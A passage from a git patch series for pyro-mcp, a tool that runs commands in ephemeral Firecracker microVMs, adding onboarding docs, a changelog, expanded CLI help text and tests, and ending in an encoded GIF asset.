doctor` reports `runtime_ok: true` +- verify `pyro doctor` reports `Runtime: PASS` +- or run `pyro doctor --json` and verify `runtime_ok: true` - if you are working from a source checkout, ensure large runtime artifacts are present with `git lfs pull` ## Ollama demo exits with tool-call failures From b2ea56db4c4b2cab714f6b111c395477165725f0 Mon Sep 17 00:00:00 2001 From: Thales Maciel Date: Mon, 9 Mar 2026 21:12:56 -0300 Subject: [PATCH 03/49] Polish onboarding and CLI help --- CHANGELOG.md | 22 ++++ README.md | 102 ++++++++++++++- docs/first-run.md | 61 +++++++++ docs/install.md | 81 +++++++++--- docs/integrations.md | 3 + src/pyro_mcp/cli.py | 302 +++++++++++++++++++++++++++++++++++++------ tests/test_cli.py | 48 ++++++- 7 files changed, 561 insertions(+), 58 deletions(-) create mode 100644 CHANGELOG.md create mode 100644 docs/first-run.md diff --git a/CHANGELOG.md b/CHANGELOG.md new file mode 100644 index 0000000..d588825 --- /dev/null +++ b/CHANGELOG.md @@ -0,0 +1,22 @@ +# Changelog + +All notable user-visible changes to `pyro-mcp` are documented here. + +## 2.0.0 + +- Made guest execution fail closed by default; host compatibility execution now requires + explicit opt-in with `--allow-host-compat` or `allow_host_compat=True`. +- Switched the main CLI commands to human-readable output by default and kept `--json` + for structured output. +- Added default sizing of `1 vCPU / 1024 MiB` across the CLI, Python SDK, and MCP tools. +- Unified environment cache resolution across `pyro`, `Pyro`, and `pyro doctor`. +- Kept the stable environment-first contract centered on `vm_run`, `pyro run`, and + curated OCI-published environments. + +## 1.0.0 + +- Shipped the first stable public `pyro` CLI, `Pyro` SDK, and MCP server contract. +- Replaced the old bundled-profile model with curated named environments. +- Switched distribution to a thin Python package plus official OCI environment artifacts. +- Published the initial official environment catalog on public Docker Hub. +- Added first-party environment pull, inspect, prune, and one-shot run flows. diff --git a/README.md b/README.md index 911c0a6..bdfb26a 100644 --- a/README.md +++ b/README.md @@ -11,26 +11,110 @@ It exposes the same runtime in three public forms: ## Start Here - Install: [docs/install.md](docs/install.md) +- First run transcript: [docs/first-run.md](docs/first-run.md) - Host requirements: [docs/host-requirements.md](docs/host-requirements.md) - Integration targets: [docs/integrations.md](docs/integrations.md) - Public contract: [docs/public-contract.md](docs/public-contract.md) - Troubleshooting: [docs/troubleshooting.md](docs/troubleshooting.md) +- Changelog: [CHANGELOG.md](CHANGELOG.md) -## Public UX +## Supported Hosts -Primary install/run path: +Supported today: + +- Linux x86_64 +- Python 3.12+ +- `uv` +- `/dev/kvm` + +Optional for outbound guest networking: + +- `ip` +- `nft` or `iptables` +- privilege to create TAP devices and configure NAT + +Not supported today: + +- macOS +- Windows +- Linux hosts without working KVM at `/dev/kvm` + +If you do not already have `uv`, install it first: ```bash -uvx --from pyro-mcp pyro mcp serve +python -m pip install uv ``` -Installed package path: +## 5-Minute Evaluation + +Use the package directly without a manual install: + +### 1. Check the host ```bash -pyro mcp serve +uvx --from pyro-mcp pyro doctor ``` -The public user-facing interface is `pyro` and `Pyro`. +Expected success signals: + +```bash +Platform: linux-x86_64 +Runtime: PASS +KVM: exists=yes readable=yes writable=yes +Environment cache: /home/you/.cache/pyro-mcp/environments +Capabilities: vm_boot=yes guest_exec=yes guest_network=yes +Networking: tun=yes ip_forward=yes +``` + +### 2. Inspect the catalog and pull the default environment + +```bash +uvx --from pyro-mcp pyro env list +``` + +Expected output: + +```bash +Catalog version: 2.0.0 +debian:12 [installed|not installed] Debian 12 environment with Git preinstalled for common agent workflows. +debian:12-base [installed|not installed] Minimal Debian 12 environment for shell and core Unix tooling. +debian:12-build [installed|not installed] Debian 12 environment with Git and common build tools preinstalled. +``` + +```bash +uvx --from pyro-mcp pyro env pull debian:12 +``` + +### 3. Run one command in a guest + +```bash +uvx --from pyro-mcp pyro run debian:12 -- git --version +``` + +Expected success signals: + +```bash +git version ... +[run] environment=debian:12 execution_mode=guest_vsock exit_code=0 duration_ms=... +``` + +### 4. Optional demos + +```bash +uvx --from pyro-mcp pyro demo +uvx --from pyro-mcp pyro demo --network +``` + +If you prefer a fuller copy-pasteable transcript, see [docs/first-run.md](docs/first-run.md). + +## Public Interfaces + +The public user-facing interface is `pyro` and `Pyro`. After the CLI validation path works, you can choose one of three surfaces: + +- `pyro` for direct CLI usage +- `from pyro_mcp import Pyro` for Python orchestration +- `pyro mcp serve` for MCP clients + `Makefile` targets are contributor conveniences for this repository and are not the primary product UX. ## Official Environments @@ -86,6 +170,12 @@ pyro doctor --json It fails closed when guest boot or guest exec is unavailable. Use `--allow-host-compat` only if you explicitly want host execution. +Run the MCP server after the CLI path above works: + +```bash +pyro mcp serve +``` + Run the deterministic demo: ```bash diff --git a/docs/first-run.md b/docs/first-run.md new file mode 100644 index 0000000..e64d9cd --- /dev/null +++ b/docs/first-run.md @@ -0,0 +1,61 @@ +# First Run Transcript + +This is the intended evaluator path for a first successful run on a supported host. +Copy the commands as-is. Paths and timing values will differ on your machine. + +## 1. Verify the host + +```bash +$ uvx --from pyro-mcp pyro doctor +Platform: linux-x86_64 +Runtime: PASS +KVM: exists=yes readable=yes writable=yes +Environment cache: /home/you/.cache/pyro-mcp/environments +Capabilities: vm_boot=yes guest_exec=yes guest_network=yes +Networking: tun=yes ip_forward=yes +``` + +## 2. Inspect the catalog + +```bash +$ uvx --from pyro-mcp pyro env list +Catalog version: 2.0.0 +debian:12 [installed|not installed] Debian 12 environment with Git preinstalled for common agent workflows. +debian:12-base [installed|not installed] Minimal Debian 12 environment for shell and core Unix tooling. +debian:12-build [installed|not installed] Debian 12 environment with Git and common build tools preinstalled. +``` + +## 3. Pull the default environment + +```bash +$ uvx --from pyro-mcp pyro env pull debian:12 +Pulled: debian:12 +Version: 1.0.0 +Distribution: debian 12 +Installed: yes +Cache dir: /home/you/.cache/pyro-mcp/environments +Default packages: bash, coreutils, git +Install dir: /home/you/.cache/pyro-mcp/environments/linux-x86_64/debian_12-1.0.0 +Install manifest: /home/you/.cache/pyro-mcp/environments/linux-x86_64/debian_12-1.0.0/environment.json +Kernel image: /home/you/.cache/pyro-mcp/environments/linux-x86_64/debian_12-1.0.0/vmlinux +Rootfs image: /home/you/.cache/pyro-mcp/environments/linux-x86_64/debian_12-1.0.0/rootfs.ext4 +OCI source: registry-1.docker.io/thalesmaciel/pyro-environment-debian-12:1.0.0 +``` + +## 4. Run one command in a guest + +```bash +$ uvx --from pyro-mcp pyro run debian:12 -- git --version +git version ... +[run] environment=debian:12 execution_mode=guest_vsock exit_code=0 duration_ms=... +``` + +## 5. Optional next steps + +```bash +$ uvx --from pyro-mcp pyro demo +$ uvx --from pyro-mcp pyro mcp serve +``` + +If `pyro doctor` reports `Runtime: FAIL`, or if the `pyro run` summary does not show +`execution_mode=guest_vsock`, stop and use [troubleshooting.md](troubleshooting.md). diff --git a/docs/install.md b/docs/install.md index 6c69183..e8ebc31 100644 --- a/docs/install.md +++ b/docs/install.md @@ -1,59 +1,110 @@ # Install -## Requirements +## Support Matrix -- Linux x86_64 host +Supported today: + +- Linux x86_64 - Python 3.12+ - `uv` - `/dev/kvm` -If you want outbound guest networking: +Optional for outbound guest networking: - `ip` - `nft` or `iptables` - privilege to create TAP devices and configure NAT -## Fastest Start +Not supported today: -Run the MCP server directly from the package without a manual install: +- macOS +- Windows +- Linux hosts without working KVM at `/dev/kvm` + +If you do not already have `uv`, install it first: ```bash -uvx --from pyro-mcp pyro mcp serve +python -m pip install uv ``` -Prefetch the default official environment: +## Fastest Evaluation Path + +Use the package directly without a manual install: + +### 1. Check the host first + +```bash +uvx --from pyro-mcp pyro doctor +``` + +Expected success signals: + +```bash +Platform: linux-x86_64 +Runtime: PASS +KVM: exists=yes readable=yes writable=yes +Environment cache: /home/you/.cache/pyro-mcp/environments +Capabilities: vm_boot=yes guest_exec=yes guest_network=yes +Networking: tun=yes ip_forward=yes +``` + +If `Runtime: FAIL`, stop here and use [troubleshooting.md](troubleshooting.md). + +### 2. Inspect the catalog + +```bash +uvx --from pyro-mcp pyro env list +``` + +Expected output: + +```bash +Catalog version: 2.0.0 +debian:12 [installed|not installed] Debian 12 environment with Git preinstalled for common agent workflows. +debian:12-base [installed|not installed] Minimal Debian 12 environment for shell and core Unix tooling. +debian:12-build [installed|not installed] Debian 12 environment with Git and common build tools preinstalled. +``` + +### 3. Pull the default environment ```bash uvx --from pyro-mcp pyro env pull debian:12 ``` -Run one command in a curated environment: +### 4. Run one command in a guest ```bash uvx --from pyro-mcp pyro run debian:12 -- git --version ``` -Inspect the official environment catalog: +Expected success signals: ```bash -uvx --from pyro-mcp pyro env list +git version ... +[run] environment=debian:12 execution_mode=guest_vsock exit_code=0 duration_ms=... ``` +If guest execution is unavailable, the command fails unless you explicitly pass +`--allow-host-compat`. + +For a fuller copy-pasteable transcript, see [first-run.md](first-run.md). + ## Installed CLI ```bash uv tool install pyro-mcp pyro --version +pyro doctor pyro env list pyro env pull debian:12 -pyro env inspect debian:12 -pyro doctor pyro run debian:12 -- git --version ``` -`pyro run` defaults to `1 vCPU / 1024 MiB`. -If guest execution is unavailable, the command fails unless you explicitly pass -`--allow-host-compat`. +After the CLI path works, you can move on to: + +- MCP: `pyro mcp serve` +- Python SDK: `from pyro_mcp import Pyro` +- Demos: `pyro demo` or `pyro demo --network` ## Contributor Clone diff --git a/docs/integrations.md b/docs/integrations.md index 31398c9..1239fdd 100644 --- a/docs/integrations.md +++ b/docs/integrations.md @@ -2,6 +2,9 @@ These are the main ways to integrate `pyro-mcp` into an LLM application. +Use this page after you have already validated the host and guest execution through the +CLI path in [install.md](install.md) or [first-run.md](first-run.md). + ## Recommended Default Use `vm_run` first. diff --git a/src/pyro_mcp/cli.py b/src/pyro_mcp/cli.py index 3a507c4..676ff53 100644 --- a/src/pyro_mcp/cli.py +++ b/src/pyro_mcp/cli.py @@ -5,6 +5,7 @@ from __future__ import annotations import argparse import json import sys +from textwrap import dedent from typing import Any from pyro_mcp import __version__ @@ -142,55 +143,284 @@ def _print_doctor_human(payload: dict[str, Any]) -> None: print(f"- {issue}") +class _HelpFormatter( + argparse.RawDescriptionHelpFormatter, + argparse.ArgumentDefaultsHelpFormatter, +): + """Help formatter with examples and default values.""" + + def _get_help_string(self, action: argparse.Action) -> str: + if action.default is None and action.help is not None: + return action.help + help_string = super()._get_help_string(action) + if help_string is None: + return "" + return help_string + + def _build_parser() -> argparse.ArgumentParser: parser = argparse.ArgumentParser( - description="pyro CLI for curated ephemeral Linux environments." + description=( + "Run ephemeral Firecracker microVM workflows from the CLI on supported " + "Linux x86_64 KVM hosts." + ), + epilog=dedent( + """ + Suggested first run: + pyro doctor + pyro env pull debian:12 + pyro run debian:12 -- git --version + + Use `pyro mcp serve` only after the CLI validation path works. + """ + ), + formatter_class=_HelpFormatter, ) parser.add_argument("--version", action="version", version=f"%(prog)s {__version__}") - subparsers = parser.add_subparsers(dest="command", required=True) + subparsers = parser.add_subparsers(dest="command", required=True, metavar="COMMAND") - env_parser = subparsers.add_parser("env", help="Inspect and manage curated environments.") - env_subparsers = env_parser.add_subparsers(dest="env_command", required=True) - list_parser = env_subparsers.add_parser("list", help="List official environments.") - list_parser.add_argument("--json", action="store_true") + env_parser = subparsers.add_parser( + "env", + help="Inspect and manage curated environments.", + description="Inspect, install, and prune curated Linux environments.", + epilog=dedent( + """ + Examples: + pyro env list + pyro env pull debian:12 + pyro env inspect debian:12 + """ + ), + formatter_class=_HelpFormatter, + ) + env_subparsers = env_parser.add_subparsers(dest="env_command", required=True, metavar="ENV") + list_parser = env_subparsers.add_parser( + "list", + help="List official environments.", + description="List the shipped environment catalog and show local install status.", + epilog="Example:\n pyro env list", + formatter_class=_HelpFormatter, + ) + list_parser.add_argument( + "--json", + action="store_true", + help="Print structured JSON instead of human-readable output.", + ) pull_parser = env_subparsers.add_parser( "pull", help="Install an environment into the local cache.", + description="Download and install one official environment into the local cache.", + epilog="Example:\n pyro env pull debian:12", + formatter_class=_HelpFormatter, + ) + pull_parser.add_argument( + "environment", + metavar="ENVIRONMENT", + help="Environment name from `pyro env list`, for example `debian:12`.", + ) + pull_parser.add_argument( + "--json", + action="store_true", + help="Print structured JSON instead of human-readable output.", + ) + inspect_parser = env_subparsers.add_parser( + "inspect", + help="Inspect one environment.", + description="Show catalog and local cache details for one environment.", + epilog="Example:\n pyro env inspect debian:12", + formatter_class=_HelpFormatter, + ) + inspect_parser.add_argument( + "environment", + metavar="ENVIRONMENT", + help="Environment name from `pyro env list`, for example `debian:12`.", + ) + inspect_parser.add_argument( + "--json", + action="store_true", + help="Print structured JSON instead of human-readable output.", + ) + prune_parser = env_subparsers.add_parser( + "prune", + help="Delete stale cached environments.", + description="Remove cached environment installs that are no longer referenced.", + epilog="Example:\n pyro env prune", + formatter_class=_HelpFormatter, + ) + prune_parser.add_argument( + "--json", + action="store_true", + help="Print structured JSON instead of human-readable output.", ) - pull_parser.add_argument("environment") - pull_parser.add_argument("--json", action="store_true") - inspect_parser = env_subparsers.add_parser("inspect", help="Inspect one environment.") - inspect_parser.add_argument("environment") - inspect_parser.add_argument("--json", action="store_true") - prune_parser = env_subparsers.add_parser("prune", help="Delete stale cached environments.") - prune_parser.add_argument("--json", action="store_true") - mcp_parser = subparsers.add_parser("mcp", help="Run the MCP server.") - mcp_subparsers = mcp_parser.add_subparsers(dest="mcp_command", required=True) - mcp_subparsers.add_parser("serve", help="Run the MCP server over stdio.") + mcp_parser = subparsers.add_parser( + "mcp", + help="Run the MCP server.", + description=( + "Run the MCP server after you have already validated the host and " + "guest execution with `pyro doctor` and `pyro run`." + ), + epilog="Example:\n pyro mcp serve", + formatter_class=_HelpFormatter, + ) + mcp_subparsers = mcp_parser.add_subparsers(dest="mcp_command", required=True, metavar="MCP") + mcp_subparsers.add_parser( + "serve", + help="Run the MCP server over stdio.", + description="Expose pyro tools over stdio for an MCP client.", + epilog=dedent( + """ + Example: + pyro mcp serve - run_parser = subparsers.add_parser("run", help="Run one command inside an ephemeral VM.") - run_parser.add_argument("environment") - run_parser.add_argument("--vcpu-count", type=int, default=DEFAULT_VCPU_COUNT) - run_parser.add_argument("--mem-mib", type=int, default=DEFAULT_MEM_MIB) - run_parser.add_argument("--timeout-seconds", type=int, default=30) - run_parser.add_argument("--ttl-seconds", type=int, default=600) - run_parser.add_argument("--network", action="store_true") - run_parser.add_argument("--allow-host-compat", action="store_true") - run_parser.add_argument("--json", action="store_true") - run_parser.add_argument("command_args", nargs="*") + Use this from an MCP client config after the CLI evaluation path works. + """ + ), + formatter_class=_HelpFormatter, + ) - doctor_parser = subparsers.add_parser("doctor", help="Inspect runtime and host diagnostics.") - doctor_parser.add_argument("--platform", default=DEFAULT_PLATFORM) - doctor_parser.add_argument("--json", action="store_true") + run_parser = subparsers.add_parser( + "run", + help="Run one command inside an ephemeral VM.", + description="Run one non-interactive command in a temporary Firecracker microVM.", + epilog=dedent( + """ + Examples: + pyro run debian:12 -- git --version + pyro run debian:12 --network -- git ls-remote https://github.com/octocat/Hello-World.git + """ + ), + formatter_class=_HelpFormatter, + ) + run_parser.add_argument( + "environment", + metavar="ENVIRONMENT", + help="Curated environment to boot, for example `debian:12`.", + ) + run_parser.add_argument( + "--vcpu-count", + type=int, + default=DEFAULT_VCPU_COUNT, + help="Number of virtual CPUs to allocate to the guest.", + ) + run_parser.add_argument( + "--mem-mib", + type=int, + default=DEFAULT_MEM_MIB, + help="Guest memory allocation in MiB.", + ) + run_parser.add_argument( + "--timeout-seconds", + type=int, + default=30, + help="Maximum time allowed for the guest command.", + ) + run_parser.add_argument( + "--ttl-seconds", + type=int, + default=600, + help="Time-to-live for temporary VM artifacts before cleanup.", + ) + run_parser.add_argument( + "--network", + action="store_true", + help="Enable outbound guest networking. Requires TAP/NAT privileges on the host.", + ) + run_parser.add_argument( + "--allow-host-compat", + action="store_true", + help=( + "Opt into host-side compatibility execution if guest boot or guest exec " + "is unavailable." + ), + ) + run_parser.add_argument( + "--json", + action="store_true", + help="Print structured JSON instead of human-readable output.", + ) + run_parser.add_argument( + "command_args", + nargs="*", + metavar="ARG", + help=( + "Command and arguments to run inside the guest. Prefix them with `--`, " + "for example `pyro run debian:12 -- git --version`." + ), + ) - demo_parser = subparsers.add_parser("demo", help="Run built-in demos.") - demo_subparsers = demo_parser.add_subparsers(dest="demo_command") - demo_parser.add_argument("--network", action="store_true") - ollama_parser = demo_subparsers.add_parser("ollama", help="Run the Ollama MCP demo.") - ollama_parser.add_argument("--base-url", default=DEFAULT_OLLAMA_BASE_URL) - ollama_parser.add_argument("--model", default=DEFAULT_OLLAMA_MODEL) - ollama_parser.add_argument("-v", "--verbose", action="store_true") + doctor_parser = subparsers.add_parser( + "doctor", + help="Inspect runtime and host diagnostics.", + description="Check host prerequisites and embedded runtime health before your first run.", + epilog=dedent( + """ + Examples: + pyro doctor + pyro doctor --json + """ + ), + formatter_class=_HelpFormatter, + ) + doctor_parser.add_argument( + "--platform", + default=DEFAULT_PLATFORM, + help="Runtime platform to inspect.", + ) + doctor_parser.add_argument( + "--json", + action="store_true", + help="Print structured JSON instead of human-readable output.", + ) + + demo_parser = subparsers.add_parser( + "demo", + help="Run built-in demos.", + description="Run built-in demos after the basic CLI validation path works.", + epilog=dedent( + """ + Examples: + pyro demo + pyro demo --network + pyro demo ollama --verbose + """ + ), + formatter_class=_HelpFormatter, + ) + demo_subparsers = demo_parser.add_subparsers(dest="demo_command", metavar="DEMO") + demo_parser.add_argument( + "--network", + action="store_true", + help="Enable outbound guest networking for the deterministic demo.", + ) + ollama_parser = demo_subparsers.add_parser( + "ollama", + help="Run the Ollama MCP demo.", + description="Run the Ollama tool-calling demo against the `vm_run` and lifecycle tools.", + epilog=dedent( + """ + Example: + pyro demo ollama --model llama3.2:3b --verbose + """ + ), + formatter_class=_HelpFormatter, + ) + ollama_parser.add_argument( + "--base-url", + default=DEFAULT_OLLAMA_BASE_URL, + help="OpenAI-compatible base URL for the Ollama server.", + ) + ollama_parser.add_argument( + "--model", + default=DEFAULT_OLLAMA_MODEL, + help="Ollama model name to use for tool calling.", + ) + ollama_parser.add_argument( + "-v", + "--verbose", + action="store_true", + help="Print full tool loop output instead of only the summary.", + ) return parser diff --git a/tests/test_cli.py b/tests/test_cli.py index f862f93..7891b51 100644 --- a/tests/test_cli.py +++ b/tests/test_cli.py @@ -3,13 +3,59 @@ from __future__ import annotations import argparse import json import sys -from typing import Any +from typing import Any, cast import pytest import pyro_mcp.cli as cli +def _subparser_choice(parser: argparse.ArgumentParser, name: str) -> argparse.ArgumentParser: + subparsers = getattr(parser, "_subparsers", None) + if subparsers is None: + raise AssertionError("parser does not define subparsers") + group_actions = cast(list[Any], subparsers._group_actions) # noqa: SLF001 + if not group_actions: + raise AssertionError("parser subparsers are empty") + choices = cast(dict[str, argparse.ArgumentParser], group_actions[0].choices) + return choices[name] + + +def test_cli_help_guides_first_run() -> None: + parser = cli._build_parser() + help_text = parser.format_help() + + assert "Suggested first run:" in help_text + assert "pyro doctor" in help_text + assert "pyro env pull debian:12" in help_text + assert "pyro run debian:12 -- git --version" in help_text + assert "Use `pyro mcp serve` only after the CLI validation path works." in help_text + + +def test_cli_subcommand_help_includes_examples_and_guidance() -> None: + parser = cli._build_parser() + + run_help = _subparser_choice(parser, "run").format_help() + assert "pyro run debian:12 -- git --version" in run_help + assert "Opt into host-side compatibility execution" in run_help + assert "Enable outbound guest networking" in run_help + + env_help = _subparser_choice(_subparser_choice(parser, "env"), "pull").format_help() + assert "Environment name from `pyro env list`" in env_help + assert "pyro env pull debian:12" in env_help + + doctor_help = _subparser_choice(parser, "doctor").format_help() + assert "Check host prerequisites and embedded runtime health" in doctor_help + assert "pyro doctor --json" in doctor_help + + demo_help = _subparser_choice(parser, "demo").format_help() + assert "pyro demo ollama --verbose" in demo_help + + mcp_help = _subparser_choice(_subparser_choice(parser, "mcp"), "serve").format_help() + assert "Expose pyro tools over stdio for an MCP client." in mcp_help + assert "Use this from an MCP client config after the CLI evaluation path works." in mcp_help + + def test_cli_run_prints_json( monkeypatch: pytest.MonkeyPatch, capsys: pytest.CaptureFixture[str], From be654b5b418b01f95ecf4e0a3af1fb2bc212ccfd Mon Sep 17 00:00:00 2001 From: Thales Maciel Date: Mon, 9 Mar 2026 21:36:36 -0300 Subject: [PATCH 04/49] Clarify package install and run expectations --- README.md | 30 +++++++++++++++++++++++++++++- docs/first-run.md | 12 +++++++++++- docs/install.md | 16 +++++++++++++++- pyproject.toml | 1 + src/pyro_mcp/cli.py | 19 +++++++++++++++++-- tests/test_cli.py | 3 +++ 6 files changed, 76 insertions(+), 5 deletions(-) diff --git a/README.md b/README.md index bdfb26a..fdfd24e 100644 --- a/README.md +++ b/README.md @@ -12,6 +12,7 @@ It exposes the same runtime in three public forms: - Install: [docs/install.md](docs/install.md) - First run transcript: [docs/first-run.md](docs/first-run.md) +- PyPI package: [pypi.org/project/pyro-mcp](https://pypi.org/project/pyro-mcp/) - Host requirements: [docs/host-requirements.md](docs/host-requirements.md) - Integration targets: [docs/integrations.md](docs/integrations.md) - Public contract: [docs/public-contract.md](docs/public-contract.md) @@ -45,6 +46,19 @@ If you do not already have `uv`, install it first: python -m pip install uv ``` +Published package path: + +```bash +uvx --from pyro-mcp pyro doctor +uv tool install pyro-mcp +``` + +Source checkout path: + +```bash +uv run pyro doctor +``` + ## 5-Minute Evaluation Use the package directly without a manual install: @@ -85,6 +99,10 @@ debian:12-build [installed|not installed] Debian 12 environment with Git and com uvx --from pyro-mcp pyro env pull debian:12 ``` +The first pull downloads an OCI environment from public Docker Hub, requires outbound HTTPS +access to `registry-1.docker.io`, and needs local cache space for the guest image. +See [docs/host-requirements.md](docs/host-requirements.md) for the full host requirements. + ### 3. Run one command in a guest ```bash @@ -94,10 +112,14 @@ uvx --from pyro-mcp pyro run debian:12 -- git --version Expected success signals: ```bash -git version ... [run] environment=debian:12 execution_mode=guest_vsock exit_code=0 duration_ms=... +git version ... ``` +The guest command output and the `[run] ...` summary are written to different streams, so they +may appear in either order in terminals or capture tools. Use `--json` if you need a +deterministic structured result. + ### 4. Optional demos ```bash @@ -115,6 +137,12 @@ The public user-facing interface is `pyro` and `Pyro`. After the CLI validation - `from pyro_mcp import Pyro` for Python orchestration - `pyro mcp serve` for MCP clients +Command forms: + +- published package without install: `uvx --from pyro-mcp pyro ...` +- installed package: `pyro ...` +- source checkout: `uv run pyro ...` + `Makefile` targets are contributor conveniences for this repository and are not the primary product UX. ## Official Environments diff --git a/docs/first-run.md b/docs/first-run.md index e64d9cd..8cb8c11 100644 --- a/docs/first-run.md +++ b/docs/first-run.md @@ -2,6 +2,8 @@ This is the intended evaluator path for a first successful run on a supported host. Copy the commands as-is. Paths and timing values will differ on your machine. +If you are running from a source checkout instead of the published package, replace +`uvx --from pyro-mcp pyro` with `uv run pyro`. ## 1. Verify the host @@ -27,6 +29,10 @@ debian:12-build [installed|not installed] Debian 12 environment with Git and com ## 3. Pull the default environment +The first pull downloads an OCI environment from public Docker Hub, requires outbound HTTPS +access to `registry-1.docker.io`, and needs local cache space for the guest image. See +[host-requirements.md](host-requirements.md) for the full host requirements. + ```bash $ uvx --from pyro-mcp pyro env pull debian:12 Pulled: debian:12 @@ -46,10 +52,14 @@ OCI source: registry-1.docker.io/thalesmaciel/pyro-environment-debian-12:1.0.0 ```bash $ uvx --from pyro-mcp pyro run debian:12 -- git --version -git version ... [run] environment=debian:12 execution_mode=guest_vsock exit_code=0 duration_ms=... +git version ... ``` +The guest command output and the `[run] ...` summary are written to different streams, so they +may appear in either order in terminals or capture tools. Use `--json` if you need a +deterministic structured result. + ## 5. Optional next steps ```bash diff --git a/docs/install.md b/docs/install.md index e8ebc31..280d73f 100644 --- a/docs/install.md +++ b/docs/install.md @@ -27,6 +27,12 @@ If you do not already have `uv`, install it first: python -m pip install uv ``` +Use these command forms consistently: + +- published package without install: `uvx --from pyro-mcp pyro ...` +- installed package: `pyro ...` +- source checkout: `uv run pyro ...` + ## Fastest Evaluation Path Use the package directly without a manual install: @@ -71,6 +77,10 @@ debian:12-build [installed|not installed] Debian 12 environment with Git and com uvx --from pyro-mcp pyro env pull debian:12 ``` +The first pull downloads an OCI environment from public Docker Hub, requires outbound HTTPS +access to `registry-1.docker.io`, and needs local cache space for the guest image. See +[host-requirements.md](host-requirements.md) for the full host requirements. + ### 4. Run one command in a guest ```bash @@ -80,10 +90,14 @@ uvx --from pyro-mcp pyro run debian:12 -- git --version Expected success signals: ```bash -git version ... [run] environment=debian:12 execution_mode=guest_vsock exit_code=0 duration_ms=... +git version ... ``` +The guest command output and the `[run] ...` summary are written to different streams, so they +may appear in either order in terminals or capture tools. Use `--json` if you need a +deterministic structured result. + If guest execution is unavailable, the command fails unless you explicitly pass `--allow-host-compat`. diff --git a/pyproject.toml b/pyproject.toml index 2cf3199..7cde7e1 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -27,6 +27,7 @@ dependencies = [ Homepage = "https://git.thaloco.com/thaloco/pyro-mcp" Repository = "https://git.thaloco.com/thaloco/pyro-mcp" Issues = "https://git.thaloco.com/thaloco/pyro-mcp/issues" +PyPI = "https://pypi.org/project/pyro-mcp/" [project.scripts] pyro = "pyro_mcp.cli:main" diff --git a/src/pyro_mcp/cli.py b/src/pyro_mcp/cli.py index 676ff53..5edf3be 100644 --- a/src/pyro_mcp/cli.py +++ b/src/pyro_mcp/cli.py @@ -209,8 +209,19 @@ def _build_parser() -> argparse.ArgumentParser: pull_parser = env_subparsers.add_parser( "pull", help="Install an environment into the local cache.", - description="Download and install one official environment into the local cache.", - epilog="Example:\n pyro env pull debian:12", + description=( + "Download and install one official environment into the local cache from " + "the configured OCI registry." + ), + epilog=dedent( + """ + Example: + pyro env pull debian:12 + + The first pull downloads from public Docker Hub, requires outbound HTTPS, + and needs local cache space for the guest image. + """ + ), formatter_class=_HelpFormatter, ) pull_parser.add_argument( @@ -288,6 +299,10 @@ def _build_parser() -> argparse.ArgumentParser: Examples: pyro run debian:12 -- git --version pyro run debian:12 --network -- git ls-remote https://github.com/octocat/Hello-World.git + + The guest command output and the [run] summary are written to different + streams, so they may appear in either order. Use --json for a deterministic + structured result. """ ), formatter_class=_HelpFormatter, diff --git a/tests/test_cli.py b/tests/test_cli.py index 7891b51..2fd88e9 100644 --- a/tests/test_cli.py +++ b/tests/test_cli.py @@ -39,10 +39,13 @@ def test_cli_subcommand_help_includes_examples_and_guidance() -> None: assert "pyro run debian:12 -- git --version" in run_help assert "Opt into host-side compatibility execution" in run_help assert "Enable outbound guest networking" in run_help + assert "may appear in either order" in run_help + assert "Use --json for a deterministic" in run_help env_help = _subparser_choice(_subparser_choice(parser, "env"), "pull").format_help() assert "Environment name from `pyro env list`" in env_help assert "pyro env pull debian:12" in env_help + assert "downloads from public Docker Hub" in env_help doctor_help = _subparser_choice(parser, "doctor").format_help() assert "Check host prerequisites and embedded runtime health" in doctor_help From 895cb608c0d5c551c467d964438b7f2cfb784efc Mon Sep 17 00:00:00 2001 From: Thales Maciel Date: Mon, 9 Mar 2026 22:49:56 -0300 Subject: [PATCH 05/49] Add terminal walkthrough assets --- README.md | 29 +++++++++++++++++++++ docs/assets/first-run.gif | Bin 0 -> 1609818 bytes docs/assets/first-run.tape | 50 +++++++++++++++++++++++++++++++++++++ docs/first-run.md | 21 ++++++++++++++++ docs/install.md | 28 +++++++++++++++++++++ scripts/render_tape.sh | 25 +++++++++++++++++++ 6 files changed, 153 insertions(+) create mode 100644 docs/assets/first-run.gif create mode 100644 docs/assets/first-run.tape create mode 100755 scripts/render_tape.sh diff --git a/README.md b/README.md index fdfd24e..5a804e0 100644 --- a/README.md +++ b/README.md @@ -2,6 +2,10 @@ `pyro-mcp` runs commands inside ephemeral Firecracker microVMs using curated Linux environments such as `debian:12`. +[![PyPI version](https://img.shields.io/pypi/v/pyro-mcp.svg)](https://pypi.org/project/pyro-mcp/) + +This is for coding agents, MCP clients, and developers who want isolated command execution in ephemeral microVMs. + It exposes the same runtime in three public forms: - the `pyro` CLI @@ -12,6 +16,7 @@ It exposes the same runtime in three public forms: - Install: [docs/install.md](docs/install.md) - First run transcript: [docs/first-run.md](docs/first-run.md) +- Terminal walkthrough GIF: [docs/assets/first-run.gif](docs/assets/first-run.gif) - PyPI package: [pypi.org/project/pyro-mcp](https://pypi.org/project/pyro-mcp/) - Host requirements: [docs/host-requirements.md](docs/host-requirements.md) - Integration targets: [docs/integrations.md](docs/integrations.md) @@ -63,6 +68,8 @@ uv run pyro doctor Use the package directly without a manual install: +If you are running from a repo checkout instead, replace `uvx --from pyro-mcp pyro` with `uv run pyro`. + ### 1. Check the host ```bash @@ -127,7 +134,29 @@ uvx --from pyro-mcp pyro demo uvx --from pyro-mcp pyro demo --network ``` +`pyro demo` proves the one-shot create/start/exec/delete VM lifecycle works end to end. + +Example output: + +```json +{ + "cleanup": { + "deleted": true, + "reason": "post_exec_cleanup", + "vm_id": "..." + }, + "command": "git --version", + "environment": "debian:12", + "execution_mode": "guest_vsock", + "exit_code": 0, + "stdout": "git version ...\n" +} +``` + +When you are done evaluating and want to remove stale cached environments, run `pyro env prune`. + If you prefer a fuller copy-pasteable transcript, see [docs/first-run.md](docs/first-run.md). +The walkthrough GIF above was rendered from [docs/assets/first-run.tape](docs/assets/first-run.tape) using [scripts/render_tape.sh](scripts/render_tape.sh). ## Public Interfaces diff --git a/docs/assets/first-run.gif b/docs/assets/first-run.gif new file mode 100644 index 0000000000000000000000000000000000000000..3883cc8a0d1fa5e8538ae84d580b43bd0fbac2de GIT binary patch literal 1609818 zcmeFYS5y;k^zS{%qyfn!Aks_d9U?UpF^Dup3@8W|3`j2$ihw;KkRZ+25D_HwDnvkv 